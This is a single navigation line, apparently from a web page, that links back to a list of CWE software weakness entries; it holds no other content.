← Back to the CWE list